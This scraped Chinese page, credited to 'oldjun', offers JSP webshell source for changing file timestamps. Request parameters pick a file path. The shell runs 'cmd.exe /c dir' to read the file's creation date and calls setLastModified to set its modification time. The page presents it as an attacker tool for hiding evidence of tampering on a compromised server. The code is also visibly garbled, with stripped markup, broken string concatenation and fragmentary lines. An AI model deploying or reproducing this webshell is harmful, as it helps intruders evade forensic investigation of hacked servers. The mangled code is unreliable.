JSP修改文件时间的WEBSHELL
JSP 修改文件时间的WEBSHELL
程序代码
charset=GB2312"% ...
程序代码
charset=GB2312"%>
JSP timeshell by oldjun
JSP timeshell by oldjun
public static String getFileCreateDate(File _file) {
File file = _file;
try {
Process ls_proc = Runtime.getRuntime().exec("cmd.exe /c dir file.getAbsolutePath() + "\" /tc");
BufferedReader br =
InputStreamReader(ls_proc.getInputStream()));
for (int i = 0; i
br.readLine();
}
String stuff = br.readLine();
StringTokenizer st = new StringTokenizer(stuff);
String dateC = st.nextToken();
String time = st.nextToken();
String datetime = dateC.concat(" "+time);
br.close();
return datetime;
} catch (Exception e) {
return null;
}
}
String folderReplace(String folder){
return folder.replace('\\','/');
} new import="java.util.Enumeration" contentType="text/html; import="java.util.Enumeration" contentType="text/html; \"" + BufferedReader(new
%>
String action = null;
if (request.getParameter("action") == null)
action = "main";
else
action = (String)request.getParameter("action");
if (action.equals("main")) {
%>
filepath:(for instance C:/Program Files/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/time.jsp)
}else if (action.equals("getinfo")) {
String filepath = folderReplace(request.getParameter("file"));
File file = new File(filepath);
if(!file.exists()){
out.println("");
" />
}else if (action.equals("change")) {
String url="?action=main";
String filepath = folderReplace(request.getParameter("file"));
String year = request.getParameter("year");
String month = request.getParameter("month");
String day = request.getParameter("day");
String hour = request.getParameter("hour");
String min = request.getParameter("min");
String sec = request.getParameter("sec");
File file = new File(filepath);
Calendar calendar=Calendar.getInstance();
calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day),Integer.parseInt(hour),Integer.parseInt(min),Integer.parseInt(sec));
if(file.setLastModified(calendar.getTimeInMillis()))
out.println("");
else
out.println(""); }
%>
date change